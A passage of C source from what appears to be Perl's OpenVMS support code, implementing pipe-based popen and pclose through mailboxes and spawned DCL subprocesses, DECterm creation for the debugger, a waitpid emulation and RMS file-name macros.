fprintf(fp,"$ pif perl_popen_in .nes. \"\" then perl_define/user/name_attributes=confine sys$input 'perl_popen_in'\n");
fprintf(fp,"$ pif perl_popen_err .nes. \"\" then perl_define/user/name_attributes=confine sys$error 'perl_popen_err'\n");
fprintf(fp,"$ pif perl_popen_out .nes. \"\" then perl_define sys$output 'perl_popen_out'\n");
fprintf(fp,"$! --- build command line to get max possible length\n");
fprintf(fp,"$c=perl_popen_cmd0\n");
fprintf(fp,"$c=c+perl_popen_cmd1\n");
fprintf(fp,"$c=c+perl_popen_cmd2\n");
fprintf(fp,"$x=perl_popen_cmd3\n");
fprintf(fp,"$c=c+x\n");
fprintf(fp,"$ perl_on\n");
fprintf(fp,"$ 'c'\n");
fprintf(fp,"$ perl_status = $STATUS\n");
fprintf(fp,"$ perl_del 'perl_cfile'\n");
fprintf(fp,"$ perl_exit 'perl_status'\n");
fsync(fileno(fp));
fgetname(fp, file, 1);
fstat(fileno(fp), &s0.crtl_stat);
fclose(fp);
if (DECC_FILENAME_UNIX_ONLY)
int_tounixspec(file, file, NULL);
fp = fopen(file,"r","shr=get");
if (!fp) return 0;
fstat(fileno(fp), &s1.crtl_stat);
cmp_result = VMS_INO_T_COMPARE(s0.crtl_stat.st_ino, s1.crtl_stat.st_ino);
if ((cmp_result != 0) && (s0.st_ctime != s1.st_ctime)) {
fclose(fp);
return 0;
}
return fp;
}
static int
vms_is_syscommand_xterm(void)
{
const static struct dsc$descriptor_s syscommand_dsc =
{ 11, DSC$K_DTYPE_T, DSC$K_CLASS_S, "SYS$COMMAND" };
const static struct dsc$descriptor_s decwdisplay_dsc =
{ 12, DSC$K_DTYPE_T, DSC$K_CLASS_S, "DECW$DISPLAY" };
struct item_list_3 items[2];
unsigned short dvi_iosb[4];
unsigned long devchar;
unsigned long devclass;
int status;
/* Very simple check to guess if sys$command is a decterm? */
/* First see if the DECW$DISPLAY: device exists */
items[0].len = 4;
items[0].code = DVI$_DEVCHAR;
items[0].bufadr = &devchar;
items[0].retadr = NULL;
items[1].len = 0;
items[1].code = 0;
status = sys$getdviw
(NO_EFN, 0, &decwdisplay_dsc, items, dvi_iosb, NULL, NULL, NULL);
if ($VMS_STATUS_SUCCESS(status)) {
status = dvi_iosb[0];
}
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(EVMSERR, status);
return -1;
}
/* If it does, then for now assume that we are on a workstation */
/* Now verify that SYS$COMMAND is a terminal */
/* for creating the debugger DECTerm */
items[0].len = 4;
items[0].code = DVI$_DEVCLASS;
items[0].bufadr = &devclass;
items[0].retadr = NULL;
items[1].len = 0;
items[1].code = 0;
status = sys$getdviw
(NO_EFN, 0, &syscommand_dsc, items, dvi_iosb, NULL, NULL, NULL);
if ($VMS_STATUS_SUCCESS(status)) {
status = dvi_iosb[0];
}
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(EVMSERR, status);
return -1;
}
else {
if (devclass == DC$_TERM) {
return 0;
}
}
return -1;
}
/* If we are on a DECTerm, we can pretend to fork xterms when requested */
static PerlIO*
create_forked_xterm(pTHX_ const char *cmd, const char *mode)
{
int status;
int ret_stat;
char * ret_char;
char device_name[65];
unsigned short device_name_len;
struct dsc$descriptor_s customization_dsc;
struct dsc$descriptor_s device_name_dsc;
const char * cptr;
char customization[200];
char title[40];
pInfo info = NULL;
char mbx1[64];
unsigned short p_chan;
int n;
unsigned short iosb[4];
const char * cust_str =
"DECW$TERMINAL.iconName:\tPerl Dbg\nDECW$TERMINAL.title:\t%40s\n";
struct dsc$descriptor_s d_mbx1 = {sizeof mbx1, DSC$K_DTYPE_T,
DSC$K_CLASS_S, mbx1};
/* LIB$FIND_IMAGE_SIGNAL needs a handler */
/*---------------------------------------*/
VAXC$ESTABLISH((__vms_handler)lib$sig_to_ret);
/* Make sure that this is from the Perl debugger */
ret_char = strstr(cmd," xterm ");
if (ret_char == NULL)
return NULL;
cptr = ret_char + 7;
ret_char = strstr(cmd,"tty");
if (ret_char == NULL)
return NULL;
ret_char = strstr(cmd,"sleep");
if (ret_char == NULL)
return NULL;
if (decw_term_port == 0) {
$DESCRIPTOR(filename1_dsc, "DECW$TERMINALSHR12");
$DESCRIPTOR(filename2_dsc, "DECW$TERMINALSHR");
$DESCRIPTOR(decw_term_port_dsc, "DECW$TERM_PORT");
status = lib$find_image_symbol
(&filename1_dsc,
&decw_term_port_dsc,
(void *)&decw_term_port,
NULL,
0);
/* Try again with the other image name */
if (!$VMS_STATUS_SUCCESS(status)) {
status = lib$find_image_symbol
(&filename2_dsc,
&decw_term_port_dsc,
(void *)&decw_term_port,
NULL,
0);
}
}
/* No decw$term_port, give it up */
if (!$VMS_STATUS_SUCCESS(status))
return NULL;
/* Are we on a workstation? */
/* to do: capture the rows / columns and pass their properties */
ret_stat = vms_is_syscommand_xterm();
if (ret_stat < 0)
return NULL;
/* Make the title: */
ret_char = strstr(cptr,"-title");
if (ret_char != NULL) {
while ((*cptr != 0) && (*cptr != '\"')) {
cptr++;
}
if (*cptr == '\"')
cptr++;
n = 0;
while ((*cptr != 0) && (*cptr != '\"')) {
title[n] = *cptr;
n++;
if (n == 39) {
title[39] = 0;
break;
}
cptr++;
}
title[n] = 0;
}
else {
/* Default title */
strcpy(title,"Perl Debug DECTerm");
}
sprintf(customization, cust_str, title);
customization_dsc.dsc$a_pointer = customization;
customization_dsc.dsc$w_length = strlen(customization);
customization_dsc.dsc$b_dtype = DSC$K_DTYPE_T;
customization_dsc.dsc$b_class = DSC$K_CLASS_S;
device_name_dsc.dsc$a_pointer = device_name;
device_name_dsc.dsc$w_length = sizeof device_name -1;
device_name_dsc.dsc$b_dtype = DSC$K_DTYPE_T;
device_name_dsc.dsc$b_class = DSC$K_CLASS_S;
device_name_len = 0;
/* Try to create the window */
status = (*decw_term_port)
(NULL,
NULL,
&customization_dsc,
&device_name_dsc,
&device_name_len,
NULL,
NULL,
NULL);
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(EVMSERR, status);
return NULL;
}
device_name[device_name_len] = '\0';
/* Need to set this up to look like a pipe for cleanup */
n = sizeof(Info);
status = lib$get_vm(&n, &info);
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(ENOMEM, status);
return NULL;
}
info->mode = *mode;
info->done = FALSE;
info->completion = 0;
info->closing = FALSE;
info->in = 0;
info->out = 0;
info->err = 0;
info->fp = NULL;
info->useFILE = 0;
info->waiting = 0;
info->in_done = TRUE;
info->out_done = TRUE;
info->err_done = TRUE;
/* Assign a channel on this so that it will persist, and not login */
/* We stash this channel in the info structure for reference. */
/* The created xterm self destructs when the last channel is removed */
/* and it appears that perl5db.pl (perl debugger) does this routinely */
/* So leave this assigned. */
device_name_dsc.dsc$w_length = device_name_len;
status = sys$assign(&device_name_dsc,&info->xchan,0,0);
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(EVMSERR, status);
return NULL;
}
info->xchan_valid = 1;
/* Now create a mailbox to be read by the application */
create_mbx(&p_chan, &d_mbx1);
/* write the name of the created terminal to the mailbox */
status = sys$qiow(NO_EFN, p_chan, IO$_WRITEVBLK|IO$M_NOW,
iosb, NULL, NULL, device_name, device_name_len, 0, 0, 0, 0);
if (!$VMS_STATUS_SUCCESS(status)) {
SETERRNO(EVMSERR, status);
return NULL;
}
info->fp = PerlIO_open(mbx1, mode);
/* Done with this channel */
sys$dassgn(p_chan);
/* If any errors, then clean up */
if (!info->fp) {
n = sizeof(Info);
_ckvmssts_noperl(lib$free_vm(&n, &info));
return NULL;
}
/* All done */
return info->fp;
}
static I32 my_pclose_pinfo(pTHX_ pInfo info);
static PerlIO *
safe_popen(pTHX_ const char *cmd, const char *in_mode, int *psts)
{
static int handler_set_up = FALSE;
PerlIO * ret_fp;
unsigned long int sts, flags = CLI$M_NOWAIT;
/* The use of a GLOBAL table (as was done previously) rendered
* Perl's qx() or `` unusable from a C<$ SET SYMBOL/SCOPE=NOGLOBAL> DCL
* environment. Hence we've switched to LOCAL symbol table.
*/
unsigned int table = LIB$K_CLI_LOCAL_SYM;
int j, wait = 0, n;
char *p, mode[10], symbol[MAX_DCL_SYMBOL+1], *vmspipe;
char *in, *out, *err, mbx[512];
FILE *tpipe = 0;
char tfilebuf[NAM$C_MAXRSS+1];
pInfo info = NULL;
char cmd_sym_name[20];
struct dsc$descriptor_s d_symbol= {0, DSC$K_DTYPE_T,
DSC$K_CLASS_S, symbol};
struct dsc$descriptor_s vmspipedsc = {0, DSC$K_DTYPE_T,
DSC$K_CLASS_S, 0};
struct dsc$descriptor_s d_sym_cmd = {0, DSC$K_DTYPE_T,
DSC$K_CLASS_S, cmd_sym_name};
struct dsc$descriptor_s *vmscmd;
$DESCRIPTOR(d_sym_in ,"PERL_POPEN_IN");
$DESCRIPTOR(d_sym_out,"PERL_POPEN_OUT");
$DESCRIPTOR(d_sym_err,"PERL_POPEN_ERR");
/* Check here for Xterm create request. This means looking for
* "3>&1 xterm\b" and "\btty 1>&3\b$" in the command, and that it
* is possible to create an xterm.
*/
if (*in_mode == 'r') {
PerlIO * xterm_fd;
#if defined(PERL_IMPLICIT_CONTEXT)
/* Can not fork an xterm with a NULL context */
/* This probably could never happen */
xterm_fd = NULL;
if (aTHX != NULL)
#endif
xterm_fd = create_forked_xterm(aTHX_ cmd, in_mode);
if (xterm_fd != NULL)
return xterm_fd;
}
if (!head_PLOC) store_pipelocs(aTHX); /* at least TRY to use a static vmspipe file */
/* once-per-program initialization...
note that the SETAST calls and the dual test of pipe_ef
makes sure that only the FIRST thread through here does
the initialization...all other threads wait until it's
done.
Yeah, uglier than a pthread call, it's got all the stuff inline
rather than in a separate routine.
*/
if (!pipe_ef) {
_ckvmssts_noperl(sys$setast(0));
if (!pipe_ef) {
unsigned long int pidcode = JPI$_PID;
$DESCRIPTOR(d_delay, RETRY_DELAY);
_ckvmssts_noperl(lib$get_ef(&pipe_ef));
_ckvmssts_noperl(lib$getjpi(&pidcode,0,0,&mypid,0,0));
_ckvmssts_noperl(sys$bintim(&d_delay, delaytime));
}
if (!handler_set_up) {
_ckvmssts_noperl(sys$dclexh(&pipe_exitblock));
handler_set_up = TRUE;
}
_ckvmssts_noperl(sys$setast(1));
}
/* see if we can find a VMSPIPE.COM */
tfilebuf[0] = '@';
vmspipe = find_vmspipe(aTHX);
if (vmspipe) {
vmspipedsc.dsc$w_length = my_strlcpy(tfilebuf+1, vmspipe, sizeof(tfilebuf)-1) + 1;
} else { /* uh, oh...we're in tempfile hell */
tpipe = vmspipe_tempfile(aTHX);
if (!tpipe) { /* a fish popular in Boston */
if (ckWARN(WARN_PIPE)) {
Perl_warner(aTHX_ packWARN(WARN_PIPE),"unable to find VMSPIPE.COM for i/o piping");
}
return NULL;
}
fgetname(tpipe,tfilebuf+1,1);
vmspipedsc.dsc$w_length = strlen(tfilebuf);
}
vmspipedsc.dsc$a_pointer = tfilebuf;
sts = setup_cmddsc(aTHX_ cmd,0,0,&vmscmd);
if (!(sts & 1)) {
switch (sts) {
case RMS$_FNF: case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_PRV:
set_errno(EACCES); break;
case RMS$_SYN:
set_errno(EINVAL); break;
case CLI$_BUFOVF: case RMS$_RTB: case CLI$_TKNOVF: case CLI$_RSLOVF:
set_errno(E2BIG); break;
case LIB$_INVARG: case LIB$_INVSTRDES: case SS$_ACCVIO: /* shouldn't happen */
_ckvmssts_noperl(sts); /* fall through */
default: /* SS$_DUPLNAM, SS$_CLI, resource exhaustion, etc. */
set_errno(EVMSERR);
}
set_vaxc_errno(sts);
if (*in_mode != 'n' && ckWARN(WARN_PIPE)) {
Perl_warner(aTHX_ packWARN(WARN_PIPE),"Can't pipe \"%*s\": %s", strlen(cmd), cmd, Strerror(errno));
}
*psts = sts;
return NULL;
}
n = sizeof(Info);
_ckvmssts_noperl(lib$get_vm(&n, &info));
my_strlcpy(mode, in_mode, sizeof(mode));
info->mode = *mode;
info->done = FALSE;
info->completion = 0;
info->closing = FALSE;
info->in = 0;
info->out = 0;
info->err = 0;
info->fp = NULL;
info->useFILE = 0;
info->waiting = 0;
info->in_done = TRUE;
info->out_done = TRUE;
info->err_done = TRUE;
info->xchan = 0;
info->xchan_valid = 0;
in = (char *)PerlMem_malloc(VMS_MAXRSS);
if (in == NULL) _ckvmssts_noperl(SS$_INSFMEM);
out = (char *)PerlMem_malloc(VMS_MAXRSS);
if (out == NULL) _ckvmssts_noperl(SS$_INSFMEM);
err = (char *)PerlMem_malloc(VMS_MAXRSS);
if (err == NULL) _ckvmssts_noperl(SS$_INSFMEM);
in[0] = out[0] = err[0] = '\0';
if ((p = strchr(mode,'F')) != NULL) { /* F -> use FILE* */
info->useFILE = 1;
strcpy(p,p+1);
}
if ((p = strchr(mode,'W')) != NULL) { /* W -> wait for completion */
wait = 1;
strcpy(p,p+1);
}
if (*mode == 'r') { /* piping from subroutine */
info->out = pipe_infromchild_setup(aTHX_ mbx,out);
if (info->out) {
info->out->pipe_done = &info->out_done;
info->out_done = FALSE;
info->out->info = info;
}
if (!info->useFILE) {
info->fp = PerlIO_open(mbx, mode);
} else {
info->fp = (PerlIO *) freopen(mbx, mode, stdin);
vmssetuserlnm("SYS$INPUT", mbx);
}
if (!info->fp && info->out) {
sys$cancel(info->out->chan_out);
while (!info->out_done) {
int done;
_ckvmssts_noperl(sys$setast(0));
done = info->out_done;
if (!done) _ckvmssts_noperl(sys$clref(pipe_ef));
_ckvmssts_noperl(sys$setast(1));
if (!done) _ckvmssts_noperl(sys$waitfr(pipe_ef));
}
if (info->out->buf) {
n = info->out->bufsize * sizeof(char);
_ckvmssts_noperl(lib$free_vm(&n, &info->out->buf));
}
n = sizeof(Pipe);
_ckvmssts_noperl(lib$free_vm(&n, &info->out));
n = sizeof(Info);
_ckvmssts_noperl(lib$free_vm(&n, &info));
*psts = RMS$_FNF;
return NULL;
}
info->err = pipe_mbxtofd_setup(aTHX_ fileno(stderr), err);
if (info->err) {
info->err->pipe_done = &info->err_done;
info->err_done = FALSE;
info->err->info = info;
}
} else if (*mode == 'w') { /* piping to subroutine */
info->out = pipe_mbxtofd_setup(aTHX_ fileno(stdout), out);
if (info->out) {
info->out->pipe_done = &info->out_done;
info->out_done = FALSE;
info->out->info = info;
}
info->err = pipe_mbxtofd_setup(aTHX_ fileno(stderr), err);
if (info->err) {
info->err->pipe_done = &info->err_done;
info->err_done = FALSE;
info->err->info = info;
}
info->in = pipe_tochild_setup(aTHX_ in,mbx);
if (!info->useFILE) {
info->fp = PerlIO_open(mbx, mode);
} else {
info->fp = (PerlIO *) freopen(mbx, mode, stdout);
vmssetuserlnm("SYS$OUTPUT", mbx);
}
if (info->in) {
info->in->pipe_done = &info->in_done;
info->in_done = FALSE;
info->in->info = info;
}
/* error cleanup */
if (!info->fp && info->in) {
info->done = TRUE;
_ckvmssts_noperl(sys$qiow(0,info->in->chan_in, IO$_WRITEOF, 0,
0, 0, 0, 0, 0, 0, 0, 0));
while (!info->in_done) {
int done;
_ckvmssts_noperl(sys$setast(0));
done = info->in_done;
if (!done) _ckvmssts_noperl(sys$clref(pipe_ef));
_ckvmssts_noperl(sys$setast(1));
if (!done) _ckvmssts_noperl(sys$waitfr(pipe_ef));
}
if (info->in->buf) {
n = info->in->bufsize * sizeof(char);
_ckvmssts_noperl(lib$free_vm(&n, &info->in->buf));
}
n = sizeof(Pipe);
_ckvmssts_noperl(lib$free_vm(&n, &info->in));
n = sizeof(Info);
_ckvmssts_noperl(lib$free_vm(&n, &info));
*psts = RMS$_FNF;
return NULL;
}
} else if (*mode == 'n') { /* separate subprocess, no Perl i/o */
/* Let the child inherit standard input, unless it's a directory. */
Stat_t st;
if (my_trnlnm("SYS$INPUT", in, 0)) {
if (flex_stat(in, &st) != 0 || S_ISDIR(st.st_mode))
*in = '\0';
}
info->out = pipe_mbxtofd_setup(aTHX_ fileno(stdout), out);
if (info->out) {
info->out->pipe_done = &info->out_done;
info->out_done = FALSE;
info->out->info = info;
}
info->err = pipe_mbxtofd_setup(aTHX_ fileno(stderr), err);
if (info->err) {
info->err->pipe_done = &info->err_done;
info->err_done = FALSE;
info->err->info = info;
}
}
d_symbol.dsc$w_length = my_strlcpy(symbol, in, sizeof(symbol));
_ckvmssts_noperl(lib$set_symbol(&d_sym_in, &d_symbol, &table));
d_symbol.dsc$w_length = my_strlcpy(symbol, err, sizeof(symbol));
_ckvmssts_noperl(lib$set_symbol(&d_sym_err, &d_symbol, &table));
d_symbol.dsc$w_length = my_strlcpy(symbol, out, sizeof(symbol));
_ckvmssts_noperl(lib$set_symbol(&d_sym_out, &d_symbol, &table));
/* Done with the names for the pipes */
PerlMem_free(err);
PerlMem_free(out);
PerlMem_free(in);
p = vmscmd->dsc$a_pointer;
while (*p == ' ' || *p == '\t') p++; /* remove leading whitespace */
if (*p == '$') p++; /* remove leading $ */
while (*p == ' ' || *p == '\t') p++;
for (j = 0; j < 4; j++) {
sprintf(cmd_sym_name,"PERL_POPEN_CMD%d",j);
d_sym_cmd.dsc$w_length = strlen(cmd_sym_name);
d_symbol.dsc$w_length = my_strlcpy(symbol, p, sizeof(symbol));
_ckvmssts_noperl(lib$set_symbol(&d_sym_cmd, &d_symbol, &table));
if (strlen(p) > MAX_DCL_SYMBOL) {
p += MAX_DCL_SYMBOL;
} else {
p += strlen(p);
}
}
_ckvmssts_noperl(sys$setast(0));
info->next=open_pipes; /* prepend to list */
open_pipes=info;
_ckvmssts_noperl(sys$setast(1));
/* Omit arg 2 (input file) so the child will get the parent's SYS$INPUT
* and SYS$COMMAND. vmspipe.com will redefine SYS$INPUT, but we'll still
* have SYS$COMMAND if we need it.
*/
_ckvmssts_noperl(lib$spawn(&vmspipedsc, 0, &nl_desc, &flags,
0, &info->pid, &info->completion,
0, popen_completion_ast,info,0,0,0));
/* if we were using a tempfile, close it now */
if (tpipe) fclose(tpipe);
/* once the subprocess is spawned, it has copied the symbols and
we can get rid of ours */
for (j = 0; j < 4; j++) {
sprintf(cmd_sym_name,"PERL_POPEN_CMD%d",j);
d_sym_cmd.dsc$w_length = strlen(cmd_sym_name);
_ckvmssts_noperl(lib$delete_symbol(&d_sym_cmd, &table));
}
_ckvmssts_noperl(lib$delete_symbol(&d_sym_in, &table));
_ckvmssts_noperl(lib$delete_symbol(&d_sym_err, &table));
_ckvmssts_noperl(lib$delete_symbol(&d_sym_out, &table));
vms_execfree(vmscmd);
#ifdef PERL_IMPLICIT_CONTEXT
if (aTHX)
#endif
PL_forkprocess = info->pid;
ret_fp = info->fp;
if (wait) {
dSAVEDERRNO;
int done = 0;
while (!done) {
_ckvmssts_noperl(sys$setast(0));
done = info->done;
if (!done) _ckvmssts_noperl(sys$clref(pipe_ef));
_ckvmssts_noperl(sys$setast(1));
if (!done) _ckvmssts_noperl(sys$waitfr(pipe_ef));
}
*psts = info->completion;
/* Caller thinks it is open and tries to close it. */
/* This causes some problems, as it changes the error status */
/* my_pclose(info->fp); */
/* If we did not have a file pointer open, then we have to */
/* clean up here or eventually we will run out of something */
SAVE_ERRNO;
if (info->fp == NULL) {
my_pclose_pinfo(aTHX_ info);
}
RESTORE_ERRNO;
} else {
*psts = info->pid;
}
return ret_fp;
} /* end of safe_popen */
/*{{{ PerlIO *my_popen(char *cmd, char *mode)*/
PerlIO *
Perl_my_popen(pTHX_ const char *cmd, const char *mode)
{
int sts;
TAINT_ENV();
TAINT_PROPER("popen");
PERL_FLUSHALL_FOR_CHILD;
return safe_popen(aTHX_ cmd,mode,&sts);
}
/*}}}*/
/* Routine to close and cleanup a pipe info structure */
static I32
my_pclose_pinfo(pTHX_ pInfo info) {
unsigned long int retsts;
int done, n;
pInfo next, last;
/* If we were writing to a subprocess, insure that someone reading from
* the mailbox gets an EOF. It looks like a simple fclose() doesn't
* produce an EOF record in the mailbox.
*
* well, at least sometimes it *does*, so we have to watch out for
* the first EOF closing the pipe (and DASSGN'ing the channel)...
*/
if (info->fp) {
if (!info->useFILE
#if defined(USE_ITHREADS)
&& my_perl
#endif
#ifdef USE_PERLIO
&& PL_perlio_fd_refcnt
#endif
)
PerlIO_flush(info->fp);
else
fflush((FILE *)info->fp);
}
_ckvmssts(sys$setast(0));
info->closing = TRUE;
done = info->done && info->in_done && info->out_done && info->err_done;
/* hanging on write to Perl's input? cancel it */
if (info->mode == 'r' && info->out && !info->out_done) {
if (info->out->chan_out) {
_ckvmssts(sys$cancel(info->out->chan_out));
if (!info->out->chan_in) { /* EOF generation, need AST */
_ckvmssts(sys$dclast(pipe_infromchild_ast,info->out,0));
}
}
}
if (info->in && !info->in_done && !info->in->shut_on_empty) /* EOF if hasn't had one yet */
_ckvmssts(sys$qio(0,info->in->chan_in,IO$_WRITEOF,0,0,0,
0, 0, 0, 0, 0, 0));
_ckvmssts(sys$setast(1));
if (info->fp) {
if (!info->useFILE
#if defined(USE_ITHREADS)
&& my_perl
#endif
#ifdef USE_PERLIO
&& PL_perlio_fd_refcnt
#endif
)
PerlIO_close(info->fp);
else
fclose((FILE *)info->fp);
}
/*
we have to wait until subprocess completes, but ALSO wait until all
the i/o completes...otherwise we'll be freeing the "info" structure
that the i/o ASTs could still be using...
*/
while (!done) {
_ckvmssts(sys$setast(0));
done = info->done && info->in_done && info->out_done && info->err_done;
if (!done) _ckvmssts(sys$clref(pipe_ef));
_ckvmssts(sys$setast(1));
if (!done) _ckvmssts(sys$waitfr(pipe_ef));
}
retsts = info->completion;
/* remove from list of open pipes */
_ckvmssts(sys$setast(0));
last = NULL;
for (next = open_pipes; next != NULL; last = next, next = next->next) {
if (next == info)
break;
}
if (last)
last->next = info->next;
else
open_pipes = info->next;
_ckvmssts(sys$setast(1));
/* free buffers and structures */
if (info->in) {
if (info->in->buf) {
n = info->in->bufsize * sizeof(char);
_ckvmssts(lib$free_vm(&n, &info->in->buf));
}
n = sizeof(Pipe);
_ckvmssts(lib$free_vm(&n, &info->in));
}
if (info->out) {
if (info->out->buf) {
n = info->out->bufsize * sizeof(char);
_ckvmssts(lib$free_vm(&n, &info->out->buf));
}
n = sizeof(Pipe);
_ckvmssts(lib$free_vm(&n, &info->out));
}
if (info->err) {
if (info->err->buf) {
n = info->err->bufsize * sizeof(char);
_ckvmssts(lib$free_vm(&n, &info->err->buf));
}
n = sizeof(Pipe);
_ckvmssts(lib$free_vm(&n, &info->err));
}
n = sizeof(Info);
_ckvmssts(lib$free_vm(&n, &info));
return retsts;
}
/*{{{ I32 my_pclose(PerlIO *fp)*/
I32 Perl_my_pclose(pTHX_ PerlIO *fp)
{
pInfo info, last = NULL;
I32 ret_status;
/* Fixme - need ast and mutex protection here */
for (info = open_pipes; info != NULL; last = info, info = info->next)
if (info->fp == fp) break;
if (info == NULL) { /* no such pipe open */
set_errno(ECHILD); /* quoth POSIX */
set_vaxc_errno(SS$_NONEXPR);
return -1;
}
ret_status = my_pclose_pinfo(aTHX_ info);
return ret_status;
} /* end of my_pclose() */
/* Roll our own prototype because we want this regardless of whether
* _VMS_WAIT is defined.
*/
#ifdef __cplusplus
extern "C" {
#endif
__pid_t __vms_waitpid( __pid_t __pid, int *__stat_loc, int __options );
#ifdef __cplusplus
}
#endif
/* sort-of waitpid; special handling of pipe clean-up for subprocesses
created with popen(); otherwise partially emulate waitpid() unless
we have a suitable one from the CRTL that came with VMS 7.2 and later.
Also check processes not considered by the CRTL waitpid().
*/
/*{{{Pid_t my_waitpid(Pid_t pid, int *statusp, int flags)*/
Pid_t
Perl_my_waitpid(pTHX_ Pid_t pid, int *statusp, int flags)
{
pInfo info;
int done;
int sts;
int j;
if (statusp) *statusp = 0;
for (info = open_pipes; info != NULL; info = info->next)
if (info->pid == pid) break;
if (info != NULL) { /* we know about this child */
while (!info->done) {
_ckvmssts(sys$setast(0));
done = info->done;
if (!done) _ckvmssts(sys$clref(pipe_ef));
_ckvmssts(sys$setast(1));
if (!done) _ckvmssts(sys$waitfr(pipe_ef));
}
if (statusp) *statusp = info->completion;
return pid;
}
/* child that already terminated? */
for (j = 0; j < NKEEPCLOSED && j < closed_num; j++) {
if (closed_list[j].pid == pid) {
if (statusp) *statusp = closed_list[j].completion;
return pid;
}
}
/* fall through if this child is not one of our own pipe children */
/* waitpid() became available in the CRTL as of VMS 7.0, but only
* in 7.2 did we get a version that fills in the VMS completion
* status as Perl has always tried to do.
*/
sts = __vms_waitpid( pid, statusp, flags );
if ( sts == 0 || !(sts == -1 && errno == ECHILD) )
return sts;
/* If the real waitpid tells us the child does not exist, we
* fall through here to implement waiting for a child that
* was created by some means other than exec() (say, spawned
* from DCL) or to wait for a process that is not a subprocess
* of the current process.
*/
{
$DESCRIPTOR(intdsc,"0 00:00:01");
unsigned long int ownercode = JPI$_OWNER, ownerpid;
unsigned long int pidcode = JPI$_PID, mypid;
unsigned long int interval[2];
unsigned int jpi_iosb[2];
struct itmlst_3 jpilist[2] = {
{sizeof(ownerpid), JPI$_OWNER, &ownerpid, 0},
{ 0, 0, 0, 0}
};
if (pid <= 0) {
/* Sorry folks, we don't presently implement rooting around for
the first child we can find, and we definitely don't want to
pass a pid of -1 to $getjpi, where it is a wildcard operation.
*/
set_errno(ENOTSUP);
return -1;
}
/* Get the owner of the child so I can warn if it's not mine. If the
* process doesn't exist or I don't have the privs to look at it,
* I can go home early.
*/
sts = sys$getjpiw(0,&pid,NULL,&jpilist,&jpi_iosb,NULL,NULL);
if (sts & 1) sts = jpi_iosb[0];
if (!(sts & 1)) {
switch (sts) {
case SS$_NONEXPR:
set_errno(ECHILD);
break;
case SS$_NOPRIV:
set_errno(EACCES);
break;
default:
_ckvmssts(sts);
}
set_vaxc_errno(sts);
return -1;
}
if (ckWARN(WARN_EXEC)) {
/* remind folks they are asking for non-standard waitpid behavior */
_ckvmssts(lib$getjpi(&pidcode,0,0,&mypid,0,0));
if (ownerpid != mypid)
Perl_warner(aTHX_ packWARN(WARN_EXEC),
"waitpid: process %x is not a child of process %x",
pid,mypid);
}
/* simply check on it once a second until it's not there anymore. */
_ckvmssts(sys$bintim(&intdsc,interval));
while ((sts=lib$getjpi(&ownercode,&pid,0,&ownerpid,0,0)) & 1) {
_ckvmssts(sys$schdwk(0,0,interval,0));
_ckvmssts(sys$hiber());
}
if (sts == SS$_NONEXPR) sts = SS$_NORMAL;
_ckvmssts(sts);
return pid;
}
} /* end of waitpid() */
/*}}}*/
/*}}}*/
/*}}}*/
/*{{{ char *my_gconvert(double val, int ndig, int trail, char *buf) */
char *
my_gconvert(double val, int ndig, int trail, char *buf)
{
static char __gcvtbuf[DBL_DIG+1];
char *loc;
loc = buf ? buf : __gcvtbuf;
if (val) {
if (!buf && ndig > DBL_DIG) ndig = DBL_DIG;
return gcvt(val,ndig,loc);
}
else {
loc[0] = '0'; loc[1] = '\0';
return loc;
}
}
/*}}}*/
#if !defined(NAML$C_MAXRSS)
static int
rms_free_search_context(struct FAB * fab)
{
struct NAM * nam;
nam = fab->fab$l_nam;
nam->nam$b_nop |= NAM$M_SYNCHK;
nam->nam$l_rlf = NULL;
fab->fab$b_dns = 0;
return sys$parse(fab, NULL, NULL);
}
#define rms_setup_nam(nam) struct NAM nam = cc$rms_nam
#define rms_clear_nam_nop(nam) nam.nam$b_nop = 0;
#define rms_set_nam_nop(nam, opt) nam.nam$b_nop |= (opt)
#define rms_set_nam_fnb(nam, opt) nam.nam$l_fnb |= (opt)
#define rms_is_nam_fnb(nam, opt) (nam.nam$l_fnb & (opt))
#define rms_nam_esll(nam) nam.nam$b_esl
#define rms_nam_esl(nam) nam.nam$b_esl
#define rms_nam_name(nam) nam.nam$l_name
#define rms_nam_namel(nam) nam.nam$l_name
#define rms_nam_type(nam) nam.nam$l_type
#define rms_nam_typel(nam) nam.nam$l_type
#define rms_nam_ver(nam) nam.nam$l_ver
#define rms_nam_verl(nam) nam.nam$l_ver
#define rms_nam_rsll(nam) nam.nam$b_rsl
#define rms_nam_rsl(nam) nam.nam$b_rsl
#define rms_bind_fab_nam(fab, nam) fab.fab$l_nam = &nam
#define rms_set_fna(fab, nam, name, size) \
{ fab.fab$b_fns = size; fab.fab$l_fna = name; }
#define rms_get_fna(fab, nam) fab.fab$l_fna
#define rms_set_dna(fab, nam, name, size) \
{ fab.fab$b_dns = size; fab.fab$l_dna = name; }
#define rms_nam_dns(fab, nam) fab.fab$b_dns
#define rms_set_esa(nam, name, size) \
{ nam.nam$b_ess = size; nam.nam$l_esa = name; }
#define rms_set_esal(nam, s_name, s_size, l_name, l_size) \
{ nam.nam$l_esa = s_name; nam.nam$b_ess = s_size;}
#define rms_set_rsa(nam, name, size) \
{ nam.nam$l_rsa = name; nam.nam$b_rss = size; }
#define rms_set_rsal(nam, s_name, s_size, l_name, l_size) \
{ nam.nam$l_rsa = s_name; nam.nam$b_rss = s_size; }
#define rms_nam_name_type_l_size(nam) \
(nam.nam$b_name + nam.nam$b_type)
#else
static int
rms_free_search_context(struct FAB * fab)
{
struct NAML * nam;
nam = fab->fab$l_naml;
nam->naml$b_nop |= NAM$M_SYNCHK;
nam->naml$l_rlf = NULL;
nam->naml$l_long_defname_size = 0;
fab->fab$b_dns = 0;
return sys$parse(fab, NULL, NULL);
}
#define rms_setup_nam(nam) struct NAML nam = cc$rms_naml
#define rms_clear_nam_nop(nam) nam.naml$b_nop = 0;
#define rms_set_nam_nop(nam, opt) nam.naml$b_nop |= (opt)
#define rms_set_nam_fnb(nam, opt) nam.naml$l_fnb |= (opt)
#define rms_is_nam_fnb(nam, opt) (nam.naml$l_fnb & (opt))
#define rms_nam_esll(nam) nam.naml$l_long_expand_size
#define rms_nam_esl(nam) nam.naml$b_esl
#define rms_nam_name(nam) nam.naml$l_name
